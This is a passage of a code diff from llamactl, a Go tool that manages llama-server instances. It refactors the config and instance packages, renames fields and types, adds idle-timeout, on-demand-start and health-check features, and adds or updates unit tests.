-			locations = append(locations, filepath.Join(configHome, "llamactl", "config.yaml"))
-		}
-
-		// System config: /etc/llamactl/config.yaml
 		locations = append(locations, "/etc/llamactl/config.yaml")
-
-		// Additional system locations
-		if xdgConfigDirs := os.Getenv("XDG_CONFIG_DIRS"); xdgConfigDirs != "" {
-			for dir := range strings.SplitSeq(xdgConfigDirs, ":") {
-				if dir != "" {
-					locations = append(locations, filepath.Join(dir, "llamactl", "config.yaml"))
-				}
-			}
-		}
 	}
 
 	return locations

pkg/config/config_test.go

@@ -1,16 +1,15 @@
-package llamactl_test
+package config_test
 
 import (
+	"llamactl/pkg/config"
 	"os"
 	"path/filepath"
 	"testing"
-
-	llamactl "llamactl/pkg"
 )
 
 func TestLoadConfig_Defaults(t *testing.T) {
 	// Test loading config when no file exists and no env vars set
-	cfg, err := llamactl.LoadConfig("nonexistent-file.yaml")
+	cfg, err := config.LoadConfig("nonexistent-file.yaml")
 	if err != nil {
 		t.Fatalf("LoadConfig should not error with defaults: %v", err)
 	}
@@ -22,12 +21,24 @@ func TestLoadConfig_Defaults(t *testing.T) {
 	if cfg.Server.Port != 8080 {
 		t.Errorf("Expected default port to be 8080, got %d", cfg.Server.Port)
 	}
+
+	homedir, err := os.UserHomeDir()
+	if err != nil {
+		t.Fatalf("Failed to get user home directory: %v", err)
+	}
+
+	if cfg.Instances.InstancesDir != filepath.Join(homedir, ".local", "share", "llamactl", "instances") {
+		t.Errorf("Expected default instances directory '%s', got %q", filepath.Join(homedir, ".local", "share", "llamactl", "instances"), cfg.Instances.InstancesDir)
+	}
+	if cfg.Instances.LogsDir != filepath.Join(homedir, ".local", "share", "llamactl", "logs") {
+		t.Errorf("Expected default logs directory '%s', got %q", filepath.Join(homedir, ".local", "share", "llamactl", "logs"), cfg.Instances.LogsDir)
+	}
+	if !cfg.Instances.AutoCreateDirs {
+		t.Error("Expected default instances auto-create to be true")
+	}
 	if cfg.Instances.PortRange != [2]int{8000, 9000} {
 		t.Errorf("Expected default port range [8000, 9000], got %v", cfg.Instances.PortRange)
 	}
-	if cfg.Instances.LogDirectory != "/tmp/llamactl" {
-		t.Errorf("Expected default log directory '/tmp/llamactl', got %q", cfg.Instances.LogDirectory)
-	}
 	if cfg.Instances.MaxInstances != -1 {
 		t.Errorf("Expected default max instances -1, got %d", cfg.Instances.MaxInstances)
 	}
@@ -56,7 +67,7 @@ server:
   port: 9090
 instances:
   port_range: [7000, 8000]
-  log_directory: "/custom/logs"
+  logs_dir: "/custom/logs"
   max_instances: 5
   llama_executable: "/usr/bin/llama-server"
   default_auto_restart: false
@@ -69,7 +80,7 @@ instances:
 		t.Fatalf("Failed to write test config file: %v", err)
 	}
 
-	cfg, err := llamactl.LoadConfig(configFile)
+	cfg, err := config.LoadConfig(configFile)
 	if err != nil {
 		t.Fatalf("LoadConfig failed: %v", err)
 	}
@@ -84,8 +95,8 @@ instances:
 	if cfg.Instances.PortRange != [2]int{7000, 8000} {
 		t.Errorf("Expected port range [7000, 8000], got %v", cfg.Instances.PortRange)
 	}
-	if cfg.Instances.LogDirectory != "/custom/logs" {
-		t.Errorf("Expected log directory '/custom/logs', got %q", cfg.Instances.LogDirectory)
+	if cfg.Instances.LogsDir != "/custom/logs" {
+		t.Errorf("Expected logs directory '/custom/logs', got %q", cfg.Instances.LogsDir)
 	}
 	if cfg.Instances.MaxInstances != 5 {
 		t.Errorf("Expected max instances 5, got %d", cfg.Instances.MaxInstances)
@@ -110,7 +121,7 @@ func TestLoadConfig_EnvironmentOverrides(t *testing.T) {
 		"LLAMACTL_HOST":                  "0.0.0.0",
 		"LLAMACTL_PORT":                  "3000",
 		"LLAMACTL_INSTANCE_PORT_RANGE":   "5000-6000",
-		"LLAMACTL_LOG_DIR":               "/env/logs",
+		"LLAMACTL_LOGS_DIR":              "/env/logs",
 		"LLAMACTL_MAX_INSTANCES":         "20",
 		"LLAMACTL_LLAMA_EXECUTABLE":      "/env/llama-server",
 		"LLAMACTL_DEFAULT_AUTO_RESTART":  "false",
@@ -124,7 +135,7 @@ func TestLoadConfig_EnvironmentOverrides(t *testing.T) {
 		defer os.Unsetenv(key)
 	}
 
-	cfg, err := llamactl.LoadConfig("nonexistent-file.yaml")
+	cfg, err := config.LoadConfig("nonexistent-file.yaml")
 	if err != nil {
 		t.Fatalf("LoadConfig failed: %v", err)
 	}
@@ -139,8 +150,8 @@ func TestLoadConfig_EnvironmentOverrides(t *testing.T) {
 	if cfg.Instances.PortRange != [2]int{5000, 6000} {
 		t.Errorf("Expected port range [5000, 6000], got %v", cfg.Instances.PortRange)
 	}
-	if cfg.Instances.LogDirectory != "/env/logs" {
-		t.Errorf("Expected log directory '/env/logs', got %q", cfg.Instances.LogDirectory)
+	if cfg.Instances.LogsDir != "/env/logs" {
+		t.Errorf("Expected logs directory '/env/logs', got %q", cfg.Instances.LogsDir)
 	}
 	if cfg.Instances.MaxInstances != 20 {
 		t.Errorf("Expected max instances 20, got %d", cfg.Instances.MaxInstances)
@@ -183,7 +194,7 @@ instances:
 	defer os.Unsetenv("LLAMACTL_HOST")
 	defer os.Unsetenv("LLAMACTL_MAX_INSTANCES")
 
-	cfg, err := llamactl.LoadConfig(configFile)
+	cfg, err := config.LoadConfig(configFile)
 	if err != nil {
 		t.Fatalf("LoadConfig failed: %v", err)
 	}
@@ -219,7 +230,7 @@ instances:
 		t.Fatalf("Failed to write test config file: %v", err)
 	}
 
-	_, err = llamactl.LoadConfig(configFile)
+	_, err = config.LoadConfig(configFile)
 	if err == nil {
 		t.Error("Expected LoadConfig to return error for invalid YAML")
 	}
@@ -245,7 +256,7 @@ func TestParsePortRange(t *testing.T) {
 
 	for _, tt := range tests {
 		t.Run(tt.name, func(t *testing.T) {
-			result := llamactl.ParsePortRange(tt.input)
+			result := config.ParsePortRange(tt.input)
 			if result != tt.expected {
 				t.Errorf("ParsePortRange(%q) = %v, expected %v", tt.input, result, tt.expected)
 			}
@@ -260,31 +271,31 @@ func TestLoadConfig_EnvironmentVariableTypes(t *testing.T) {
 	testCases := []struct {
 		envVar   string
 		envValue string
-		checkFn  func(*llamactl.Config) bool
+		checkFn  func(*config.AppConfig) bool
 		desc     string
 	}{
 		{
 			envVar:   "LLAMACTL_PORT",
 			envValue: "invalid-port",
-			checkFn:  func(c *llamactl.Config) bool { return c.Server.Port == 8080 }, // Should keep default
+			checkFn:  func(c *config.AppConfig) bool { return c.Server.Port == 8080 }, // Should keep default
 			desc:     "invalid port number should keep default",
 		},
 		{
 			envVar:   "LLAMACTL_MAX_INSTANCES",
 			envValue: "not-a-number",
-			checkFn:  func(c *llamactl.Config) bool { return c.Instances.MaxInstances == -1 }, // Should keep default
+			checkFn:  func(c *config.AppConfig) bool { return c.Instances.MaxInstances == -1 }, // Should keep default
 			desc:     "invalid max instances should keep default",
 		},
 		{
 			envVar:   "LLAMACTL_DEFAULT_AUTO_RESTART",
 			envValue: "invalid-bool",
-			checkFn:  func(c *llamactl.Config) bool { return c.Instances.DefaultAutoRestart == true }, // Should keep default
+			checkFn:  func(c *config.AppConfig) bool { return c.Instances.DefaultAutoRestart == true }, // Should keep default
 			desc:     "invalid boolean should keep default",
 		},
 		{
 			envVar:   "LLAMACTL_INSTANCE_PORT_RANGE",
 			envValue: "invalid-range",
-			checkFn:  func(c *llamactl.Config) bool { return c.Instances.PortRange == [2]int{8000, 9000} }, // Should keep default
+			checkFn:  func(c *config.AppConfig) bool { return c.Instances.PortRange == [2]int{8000, 9000} }, // Should keep default
 			desc:     "invalid port range should keep default",
 		},
 	}
@@ -294,7 +305,7 @@ func TestLoadConfig_EnvironmentVariableTypes(t *testing.T) {
 			os.Setenv(tc.envVar, tc.envValue)
 			defer os.Unsetenv(tc.envVar)
 
-			cfg, err := llamactl.LoadConfig("nonexistent-file.yaml")
+			cfg, err := config.LoadConfig("nonexistent-file.yaml")
 			if err != nil {
 				t.Fatalf("LoadConfig failed: %v", err)
 			}
@@ -323,7 +334,7 @@ server:
 		t.Fatalf("Failed to write test config file: %v", err)
 	}
 
-	cfg, err := llamactl.LoadConfig(configFile)
+	cfg, err := config.LoadConfig(configFile)
 	if err != nil {
 		t.Fatalf("LoadConfig failed: %v", err)
 	}

pkg/instance/instance.go

@@ -1,27 +1,45 @@
-package llamactl
+package instance
 
 import (
 	"context"
 	"encoding/json"
 	"fmt"
 	"io"
+	"llamactl/pkg/backends/llamacpp"
+	"llamactl/pkg/config"
 	"log"
 	"net/http"
 	"net/http/httputil"
 	"net/url"
 	"os/exec"
 	"sync"
+	"sync/atomic"
 	"time"
 )
 
+// TimeProvider interface allows for testing with mock time
+type TimeProvider interface {
+	Now() time.Time
+}
+
+// realTimeProvider implements TimeProvider using the actual time
+type realTimeProvider struct{}
+
+func (realTimeProvider) Now() time.Time {
+	return time.Now()
+}
+
 type CreateInstanceOptions struct {
 	// Auto restart
-	AutoRestart *bool `json:"auto_restart,omitempty"`
-	MaxRestarts *int  `json:"max_restarts,omitempty"`
-	// RestartDelay duration in seconds
-	RestartDelay *int `json:"restart_delay_seconds,omitempty"`
-
-	LlamaServerOptions `json:",inline"`
+	AutoRestart  *bool `json:"auto_restart,omitempty"`
+	MaxRestarts  *int  `json:"max_restarts,omitempty"`
+	RestartDelay *int  `json:"restart_delay,omitempty"`
+	// On demand start
+	OnDemandStart *bool `json:"on_demand_start,omitempty"`
+	// Idle timeout
+	IdleTimeout *int `json:"idle_timeout,omitempty"`
+	// LlamaServerOptions contains the options for the llama server
+	llamacpp.LlamaServerOptions `json:",inline"`
 }
 
 // UnmarshalJSON implements custom JSON unmarshaling for CreateInstanceOptions
@@ -30,9 +48,11 @@ type CreateInstanceOptions struct {
 func (c *CreateInstanceOptions) UnmarshalJSON(data []byte) error {
 	// First, unmarshal into a temporary struct without the embedded type
 	type tempCreateOptions struct {
-		AutoRestart  *bool `json:"auto_restart,omitempty"`
-		MaxRestarts  *int  `json:"max_restarts,omitempty"`
-		RestartDelay *int  `json:"restart_delay_seconds,omitempty"`
+		AutoRestart   *bool `json:"auto_restart,omitempty"`
+		MaxRestarts   *int  `json:"max_restarts,omitempty"`
+		RestartDelay  *int  `json:"restart_delay,omitempty"`
+		OnDemandStart *bool `json:"on_demand_start,omitempty"`
+		IdleTimeout   *int  `json:"idle_timeout,omitempty"`
 	}
 
 	var temp tempCreateOptions
@@ -44,6 +64,8 @@ func (c *CreateInstanceOptions) UnmarshalJSON(data []byte) error {
 	c.AutoRestart = temp.AutoRestart
 	c.MaxRestarts = temp.MaxRestarts
 	c.RestartDelay = temp.RestartDelay
+	c.OnDemandStart = temp.OnDemandStart
+	c.IdleTimeout = temp.IdleTimeout
 
 	// Now unmarshal the embedded LlamaServerOptions
 	if err := json.Unmarshal(data, &c.LlamaServerOptions); err != nil {
@@ -53,11 +75,11 @@ func (c *CreateInstanceOptions) UnmarshalJSON(data []byte) error {
 	return nil
 }
 
-// Instance represents a running instance of the llama server
-type Instance struct {
+// Process represents a running instance of the llama server
+type Process struct {
 	Name           string                 `json:"name"`
 	options        *CreateInstanceOptions `json:"-"`
-	globalSettings *InstancesConfig
+	globalSettings *config.InstancesConfig
 
 	// Status
 	Running bool `json:"running"`
@@ -81,6 +103,10 @@ type Instance struct {
 	// Restart control
 	restartCancel context.CancelFunc `json:"-"` // Cancel function for pending restarts
 	monitorDone   chan struct{}      `json:"-"` // Channel to signal monitor goroutine completion
+
+	// Timeout management
+	lastRequestTime atomic.Int64 // Unix timestamp of last request
+	timeProvider    TimeProvider `json:"-"` // Time provider for testing
 }
 
 // validateAndCopyOptions validates and creates a deep copy of the provided options
@@ -115,13 +141,27 @@ func validateAndCopyOptions(name string, options *CreateInstanceOptions) *Create
 			}
 			optionsCopy.RestartDelay = &restartDelay
 		}
+
+		if options.OnDemandStart != nil {
+			onDemandStart := *options.OnDemandStart
+			optionsCopy.OnDemandStart = &onDemandStart
+		}
+
+		if options.IdleTimeout != nil {
+			idleTimeout := *options.IdleTimeout
+			if idleTimeout < 0 {
+				log.Printf("Instance %s IdleTimeout value (%d) cannot be negative, setting to 0 minutes", name, idleTimeout)
+				idleTimeout = 0
+			}
+			optionsCopy.IdleTimeout = &idleTimeout
+		}
 	}
 
 	return optionsCopy
 }
 
 // applyDefaultOptions applies default values from global settings to any nil options
-func applyDefaultOptions(options *CreateInstanceOptions, globalSettings *InstancesConfig) {
+func applyDefaultOptions(options *CreateInstanceOptions, globalSettings *config.InstancesConfig) {
 	if globalSettings == nil {
 		return
 	}
@@ -140,36 +180,44 @@ func applyDefaultOptions(options *CreateInstanceOptions, globalSettings *Instanc
 		defaultRestartDelay := globalSettings.DefaultRestartDelay
 		options.RestartDelay = &defaultRestartDelay
 	}
+
+	if options.OnDemandStart == nil {
+		defaultOnDemandStart := globalSettings.DefaultOnDemandStart
+		options.OnDemandStart = &defaultOnDemandStart
+	}
+
+	if options.IdleTimeout == nil {
+		defaultIdleTimeout := 0
+		options.IdleTimeout = &defaultIdleTimeout
+	}
 }
 
 // NewInstance creates a new instance with the given name, log path, and options
-func NewInstance(name string, globalSettings *InstancesConfig, options *CreateInstanceOptions) *Instance {
+func NewInstance(name string, globalSettings *config.InstancesConfig, options *CreateInstanceOptions) *Process {
 	// Validate and copy options
 	optionsCopy := validateAndCopyOptions(name, options)
 	// Apply defaults
 	applyDefaultOptions(optionsCopy, globalSettings)
 	// Create the instance logger
-	logger := NewInstanceLogger(name, globalSettings.LogDirectory)
+	logger := NewInstanceLogger(name, globalSettings.LogsDir)
 
-	return &Instance{
+	return &Process{
 		Name:           name,
 		options:        optionsCopy,
 		globalSettings: globalSettings,
 		logger:         logger,
-
-		Running: false,
-
-		Created: time.Now().Unix(),
+		timeProvider:   realTimeProvider{},
+		Created:        time.Now().Unix(),
 	}
 }
 
-func (i *Instance) GetOptions() *CreateInstanceOptions {
+func (i *Process) GetOptions() *CreateInstanceOptions {
 	i.mu.RLock()
 	defer i.mu.RUnlock()
 	return i.options
 }
 
-func (i *Instance) SetOptions(options *CreateInstanceOptions) {
+func (i *Process) SetOptions(options *CreateInstanceOptions) {
 	i.mu.Lock()
 	defer i.mu.Unlock()
 
@@ -187,8 +235,13 @@ func (i *Instance) SetOptions(options *CreateInstanceOptions) {
 	i.proxy = nil
 }
 
+// SetTimeProvider sets a custom time provider for testing
+func (i *Process) SetTimeProvider(tp TimeProvider) {
+	i.timeProvider = tp
+}
+
 // GetProxy returns the reverse proxy for this instance, creating it if needed
-func (i *Instance) GetProxy() (*httputil.ReverseProxy, error) {
+func (i *Process) GetProxy() (*httputil.ReverseProxy, error) {
 	i.mu.Lock()
 	defer i.mu.Unlock()
 
@@ -225,7 +278,7 @@ func (i *Instance) GetProxy() (*httputil.ReverseProxy, error) {
 }
 
 // MarshalJSON implements json.Marshaler for Instance
-func (i *Instance) MarshalJSON() ([]byte, error) {
+func (i *Process) MarshalJSON() ([]byte, error) {
 	// Use read lock since we're only reading data
 	i.mu.RLock()
 	defer i.mu.RUnlock()
@@ -235,22 +288,25 @@ func (i *Instance) MarshalJSON() ([]byte, error) {
 		Name    string                 `json:"name"`
 		Options *CreateInstanceOptions `json:"options,omitempty"`
 		Running bool                   `json:"running"`
+		Created int64                  `json:"created,omitempty"`
 	}{
 		Name:    i.Name,
 		Options: i.options,
 		Running: i.Running,
+		Created: i.Created,
 	}
 
 	return json.Marshal(temp)
 }
 
 // UnmarshalJSON implements json.Unmarshaler for Instance
-func (i *Instance) UnmarshalJSON(data []byte) error {
+func (i *Process) UnmarshalJSON(data []byte) error {
 	// Create a temporary struct for unmarshalling
 	temp := struct {
 		Name    string                 `json:"name"`
 		Options *CreateInstanceOptions `json:"options,omitempty"`
 		Running bool                   `json:"running"`
+		Created int64                  `json:"created,omitempty"`
 	}{}
 
 	if err := json.Unmarshal(data, &temp); err != nil {
@@ -260,6 +316,7 @@ func (i *Instance) UnmarshalJSON(data []byte) error {
 	// Set the fields
 	i.Name = temp.Name
 	i.Running = temp.Running
+	i.Created = temp.Created
 
 	// Handle options with validation but no defaults
 	if temp.Options != nil {

pkg/instance/instance_test.go

@@ -0,0 +1,322 @@
+package instance_test
+
+import (
+	"encoding/json"
+	"llamactl/pkg/backends/llamacpp"
+	"llamactl/pkg/config"
+	"llamactl/pkg/instance"
+	"llamactl/pkg/testutil"
+	"testing"
+)
+
+func TestNewInstance(t *testing.T) {
+	globalSettings := &config.InstancesConfig{
+		LogsDir:             "/tmp/test",
+		DefaultAutoRestart:  true,
+		DefaultMaxRestarts:  3,
+		DefaultRestartDelay: 5,
+	}
+
+	options := &instance.CreateInstanceOptions{
+		LlamaServerOptions: llamacpp.LlamaServerOptions{
+			Model: "/path/to/model.gguf",
+			Port:  8080,
+		},
+	}
+
+	instance := instance.NewInstance("test-instance", globalSettings, options)
+
+	if instance.Name != "test-instance" {
+		t.Errorf("Expected name 'test-instance', got %q", instance.Name)
+	}
+	if instance.Running {
+		t.Error("New instance should not be running")
+	}
+
+	// Check that options were properly set with defaults applied
+	opts := instance.GetOptions()
+	if opts.Model != "/path/to/model.gguf" {
+		t.Errorf("Expected model '/path/to/model.gguf', got %q", opts.Model)
+	}
+	if opts.Port != 8080 {
+		t.Errorf("Expected port 8080, got %d", opts.Port)
+	}
+
+	// Check that defaults were applied
+	if opts.AutoRestart == nil || !*opts.AutoRestart {
+		t.Error("Expected AutoRestart to be true (default)")
+	}
+	if opts.MaxRestarts == nil || *opts.MaxRestarts != 3 {
+		t.Errorf("Expected MaxRestarts to be 3 (default), got %v", opts.MaxRestarts)
+	}
+	if opts.RestartDelay == nil || *opts.RestartDelay != 5 {
+		t.Errorf("Expected RestartDelay to be 5 (default), got %v", opts.RestartDelay)
+	}
+}
+
+func TestNewInstance_WithRestartOptions(t *testing.T) {
+	globalSettings := &config.InstancesConfig{
+		LogsDir:             "/tmp/test",
+		DefaultAutoRestart:  true,
+		DefaultMaxRestarts:  3,
+		DefaultRestartDelay: 5,
+	}
+
+	// Override some defaults
+	autoRestart := false
+	maxRestarts := 10
+	restartDelay := 15
+
+	options := &instance.CreateInstanceOptions{
+		AutoRestart:  &autoRestart,
+		MaxRestarts:  &maxRestarts,
+		RestartDelay: &restartDelay,
+		LlamaServerOptions: llamacpp.LlamaServerOptions{
+			Model: "/path/to/model.gguf",
+		},
+	}
+
+	instance := instance.NewInstance("test-instance", globalSettings, options)
+	opts := instance.GetOptions()
+
+	// Check that explicit values override defaults
+	if opts.AutoRestart == nil || *opts.AutoRestart {
+		t.Error("Expected AutoRestart to be false (overridden)")
+	}
+	if opts.MaxRestarts == nil || *opts.MaxRestarts != 10 {
+		t.Errorf("Expected MaxRestarts to be 10 (overridden), got %v", opts.MaxRestarts)
+	}
+	if opts.RestartDelay == nil || *opts.RestartDelay != 15 {
+		t.Errorf("Expected RestartDelay to be 15 (overridden), got %v", opts.RestartDelay)
+	}
+}
+
+func TestSetOptions(t *testing.T) {
+	globalSettings := &config.InstancesConfig{
+		LogsDir:             "/tmp/test",
+		DefaultAutoRestart:  true,
+		DefaultMaxRestarts:  3,
+		DefaultRestartDelay: 5,
+	}
+
+	initialOptions := &instance.CreateInstanceOptions{
+		LlamaServerOptions: llamacpp.LlamaServerOptions{
+			Model: "/path/to/model.gguf",
+			Port:  8080,
+		},
+	}
+
+	inst := instance.NewInstance("test-instance", globalSettings, initialOptions)
+
+	// Update options
+	newOptions := &instance.CreateInstanceOptions{
+		LlamaServerOptions: llamacpp.LlamaServerOptions{
+			Model: "/path/to/new-model.gguf",
+			Port:  8081,
+		},
+	}
+
+	inst.SetOptions(newOptions)
+	opts := inst.GetOptions()
+
+	if opts.Model != "/path/to/new-model.gguf" {
+		t.Errorf("Expected updated model '/path/to/new-model.gguf', got %q", opts.Model)
+	}
+	if opts.Port != 8081 {
+		t.Errorf("Expected updated port 8081, got %d", opts.Port)
+	}
+
+	// Check that defaults are still applied
+	if opts.AutoRestart == nil || !*opts.AutoRestart {
+		t.Error("Expected AutoRestart to be true (default)")
+	}
+}
+
+func TestGetProxy(t *testing.T) {
+	globalSettings := &config.InstancesConfig{
+		LogsDir: "/tmp/test",
+	}
+
+	options := &instance.CreateInstanceOptions{
+		LlamaServerOptions: llamacpp.LlamaServerOptions{
+			Host: "localhost",
+			Port: 8080,
+		},
+	}
+
+	inst := instance.NewInstance("test-instance", globalSettings, options)
+
+	// Get proxy for the first time
+	proxy1, err := inst.GetProxy()
+	if err != nil {
+		t.Fatalf("GetProxy failed: %v", err)
+	}
+	if proxy1 == nil {
+		t.Error("Expected proxy to be created")
+	}
+
+	// Get proxy again - should return cached version
+	proxy2, err := inst.GetProxy()
+	if err != nil {
+		t.Fatalf("GetProxy failed: %v", err)
+	}
+	if proxy1 != proxy2 {
+		t.Error("Expected cached proxy to be returned")
+	}
+}
+
+func TestMarshalJSON(t *testing.T) {
+	globalSettings := &config.InstancesConfig{
+		LogsDir:             "/tmp/test",
+		DefaultAutoRestart:  true,
+		DefaultMaxRestarts:  3,
+		DefaultRestartDelay: 5,
+	}
+
+	options := &instance.CreateInstanceOptions{
+		LlamaServerOptions: llamacpp.LlamaServerOptions{
+			Model: "/path/to/model.gguf",
+			Port:  8080,
+		},
+	}
+
+	instance := instance.NewInstance("test-instance", globalSettings, options)
+
+	data, err := json.Marshal(instance)
+	if err != nil {
+		t.Fatalf("JSON marshal failed: %v", err)
+	}
+
+	// Check that JSON contains expected fields
+	var result map[string]interface{}
+	err = json.Unmarshal(data, &result)
+	if err != nil {
+		t.Fatalf("JSON unmarshal failed: %v", err)
+	}
+
+	if result["name"] != "test-instance" {
+		t.Errorf("Expected name 'test-instance', got %v", result["name"])
+	}
+	if result["running"] != false {
+		t.Errorf("Expected running false, got %v", result["running"])
+	}
+
+	// Check that options are included
+	options_data, ok := result["options"]
+	if !ok {
+		t.Error("Expected options to be included in JSON")
+	}
+	options_map, ok := options_data.(map[string]interface{})
+	if !ok {
+		t.Error("Expected options to be a map")
+	}
+	if options_map["model"] != "/path/to/model.gguf" {
+		t.Errorf("Expected model '/path/to/model.gguf', got %v", options_map["model"])
+	}
+}
+
+func TestUnmarshalJSON(t *testing.T) {
+	jsonData := `{
+		"name": "test-instance",
+		"running": true,
+		"options": {
+			"model": "/path/to/model.gguf",
+			"port": 8080,
+			"auto_restart": false,
+			"max_restarts": 5
+		}
+	}`
+
+	var inst instance.Process
+	err := json.Unmarshal([]byte(jsonData), &inst)
+	if err != nil {
+		t.Fatalf("JSON unmarshal failed: %v", err)
+	}
+
+	if inst.Name != "test-instance" {
+		t.Errorf("Expected name 'test-instance', got %q", inst.Name)
+	}
+	if !inst.Running {
+		t.Error("Expected running to be true")
+	}
+
+	opts := inst.GetOptions()
+	if opts == nil {
+		t.Fatal("Expected options to be set")
+	}
+	if opts.Model != "/path/to/model.gguf" {
+		t.Errorf("Expected model '/path/to/model.gguf', got %q", opts.Model)
+	}
+	if opts.Port != 8080 {
+		t.Errorf("Expected port 8080, got %d", opts.Port)
+	}
+	if opts.AutoRestart == nil || *opts.AutoRestart {
+		t.Error("Expected AutoRestart to be false")
+	}
+	if opts.MaxRestarts == nil || *opts.MaxRestarts != 5 {
+		t.Errorf("Expected MaxRestarts to be 5, got %v", opts.MaxRestarts)
+	}
+}
+
+func TestCreateInstanceOptionsValidation(t *testing.T) {
+	tests := []struct {
+		name          string
+		maxRestarts   *int
+		restartDelay  *int
+		expectedMax   int
+		expectedDelay int
+	}{
+		{
+			name:          "valid positive values",
+			maxRestarts:   testutil.IntPtr(10),
+			restartDelay:  testutil.IntPtr(30),
+			expectedMax:   10,
+			expectedDelay: 30,
+		},
+		{
+			name:          "zero values",
+			maxRestarts:   testutil.IntPtr(0),
+			restartDelay:  testutil.IntPtr(0),
+			expectedMax:   0,
+			expectedDelay: 0,
+		},
+		{
+			name:          "negative values should be corrected",
+			maxRestarts:   testutil.IntPtr(-5),
+			restartDelay:  testutil.IntPtr(-10),
+			expectedMax:   0,
+			expectedDelay: 0,
+		},
+	}
+
+	globalSettings := &config.InstancesConfig{
+		LogsDir: "/tmp/test",
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			options := &instance.CreateInstanceOptions{
+				MaxRestarts:  tt.maxRestarts,
+				RestartDelay: tt.restartDelay,
+				LlamaServerOptions: llamacpp.LlamaServerOptions{
+					Model: "/path/to/model.gguf",
+				},
+			}
+
+			instance := instance.NewInstance("test", globalSettings, options)
+			opts := instance.GetOptions()
+
+			if opts.MaxRestarts == nil {
+				t.Error("Expected MaxRestarts to be set")
+			} else if *opts.MaxRestarts != tt.expectedMax {
+				t.Errorf("Expected MaxRestarts %d, got %d", tt.expectedMax, *opts.MaxRestarts)
+			}
+
+			if opts.RestartDelay == nil {
+				t.Error("Expected RestartDelay to be set")
+			} else if *opts.RestartDelay != tt.expectedDelay {
+				t.Errorf("Expected RestartDelay %d, got %d", tt.expectedDelay, *opts.RestartDelay)
+			}
+		})
+	}
+}

pkg/instance/lifecycle.go

@@ -1,9 +1,10 @@
-package llamactl
+package instance
 
 import (
 	"context"
 	"fmt"
 	"log"
+	"net/http"
 	"os/exec"
 	"runtime"
 	"syscall"
@@ -11,7 +12,7 @@ import (
 )
 
 // Start starts the llama server instance and returns an error if it fails.
-func (i *Instance) Start() error {
+func (i *Process) Start() error {
 	i.mu.Lock()
 	defer i.mu.Unlock()
 
@@ -30,6 +31,9 @@ func (i *Instance) Start() error {
 		i.restarts = 0
 	}
 
+	// Initialize last request time to current time when starting
+	i.lastRequestTime.Store(i.timeProvider.Now().Unix())
+
 	// Create log files
 	if err := i.logger.Create(); err != nil {
 		return fmt.Errorf("failed to create log files: %w", err)
@@ -75,7 +79,7 @@ func (i *Instance) Start() error {
 }
 
 // Stop terminates the subprocess
-func (i *Instance) Stop() error {
+func (i *Process) Stop() error {
 	i.mu.Lock()
 
 	if !i.Running {
@@ -140,7 +144,75 @@ func (i *Instance) Stop() error {
 	return nil
 }
 
-func (i *Instance) monitorProcess() {
+func (i *Process) WaitForHealthy(timeout int) error {
+	if !i.Running {
+		return fmt.Errorf("instance %s is not running", i.Name)
+	}
+
+	if timeout <= 0 {
+		timeout = 30 // Default to 30 seconds if no timeout is specified
+	}
+
+	ctx, cancel := context.WithTimeout(context.Background(), time.Duration(timeout)*time.Second)
+	defer cancel()
+
+	// Get instance options to build the health check URL
+	opts := i.GetOptions()
+	if opts == nil {
+		return fmt.Errorf("instance %s has no options set", i.Name)
+	}
+
+	// Build the health check URL directly
+	host := opts.Host
+	if host == "" {
+		host = "localhost"
+	}
+	healthURL := fmt.Sprintf("http://%s:%d/health", host, opts.Port)
+
+	// Create a dedicated HTTP client for health checks
+	client := &http.Client{
+		Timeout: 5 * time.Second, // 5 second timeout per request
+	}
+
+	// Helper function to check health directly
+	checkHealth := func() bool {
+		req, err := http.NewRequestWithContext(ctx, "GET", healthURL, nil)
+		if err != nil {
+			return false
+		}
+
+		resp, err := client.Do(req)
+		if err != nil {
+			return false
+		}
+		defer resp.Body.Close()
+
+		return resp.StatusCode == http.StatusOK
+	}
+
+	// Try immediate check first
+	if checkHealth() {
+		return nil // Instance is healthy
+	}
+
+	// If immediate check failed, start polling
+	ticker := time.NewTicker(1 * time.Second)
+	defer ticker.Stop()
+
+	for {
+		select {
+		case <-ctx.Done():
+			return fmt.Errorf("timeout waiting for instance %s to become healthy after %d seconds", i.Name, timeout)
+		case <-ticker.C:
+			if checkHealth() {
+				return nil // Instance is healthy
+			}
+			// Continue polling
+		}
+	}
+}
+
+func (i *Process) monitorProcess() {
 	defer func() {
 		i.mu.Lock()
 		if i.monitorDone != nil {
@@ -181,7 +253,7 @@ func (i *Instance) monitorProcess() {
 }
 
 // handleRestart manages the restart process while holding the lock
-func (i *Instance) handleRestart() {
+func (i *Process) handleRestart() {
 	// Validate restart conditions and get safe parameters
 	shouldRestart, maxRestarts, restartDelay := i.validateRestartConditions()
 	if !shouldRestart {
@@ -223,7 +295,7 @@ func (i *Instance) handleRestart() {
 }
 
 // validateRestartConditions checks if the instance should be restarted and returns the parameters
-func (i *Instance) validateRestartConditions() (shouldRestart bool, maxRestarts int, restartDelay int) {
+func (i *Process) validateRestartConditions() (shouldRestart bool, maxRestarts int, restartDelay int) {
 	if i.options == nil {
 		log.Printf("Instance %s not restarting: options are nil", i.Name)
 		return false, 0, 0

pkg/instance/logging.go

@@ -1,4 +1,4 @@
-package llamactl
+package instance
 
 import (
 	"bufio"
@@ -52,7 +52,7 @@ func (i *InstanceLogger) Create() error {
 }
 
 // GetLogs retrieves the last n lines of logs from the instance
-func (i *Instance) GetLogs(num_lines int) (string, error) {
+func (i *Process) GetLogs(num_lines int) (string, error) {
 	i.mu.RLock()
 	logFileName := i.logger.logFilePath
 	i.mu.RUnlock()

pkg/instance/process_group_unix.go

@@ -1,6 +1,6 @@
 //go:build !windows
 
-package llamactl
+package instance
 
 import (
 	"os/exec"

pkg/instance/process_group_windows.go

@@ -1,6 +1,6 @@
 //go:build windows
 
-package llamactl
+package instance
 
 import "os/exec"
 

pkg/instance/timeout.go

@@ -0,0 +1,28 @@
+package instance
+
+// UpdateLastRequestTime updates the last request access time for the instance via proxy
+func (i *Process) UpdateLastRequestTime() {
+	i.mu.Lock()
+	defer i.mu.Unlock()
+
+	lastRequestTime := i.timeProvider.Now().Unix()
+	i.lastRequestTime.Store(lastRequestTime)
+}
+
+func (i *Process) ShouldTimeout() bool {
+	i.mu.RLock()
+	defer i.mu.RUnlock()
+
+	if !i.Running || i.options.IdleTimeout == nil || *i.options.IdleTimeout <= 0 {
+		return false
+	}
+
+	// Check if the last request time exceeds the idle timeout
+	lastRequest := i.lastRequestTime.Load()
+	idleTimeoutMinutes := *i.options.IdleTimeout
+
+	// Convert timeout from minutes to seconds for comparison
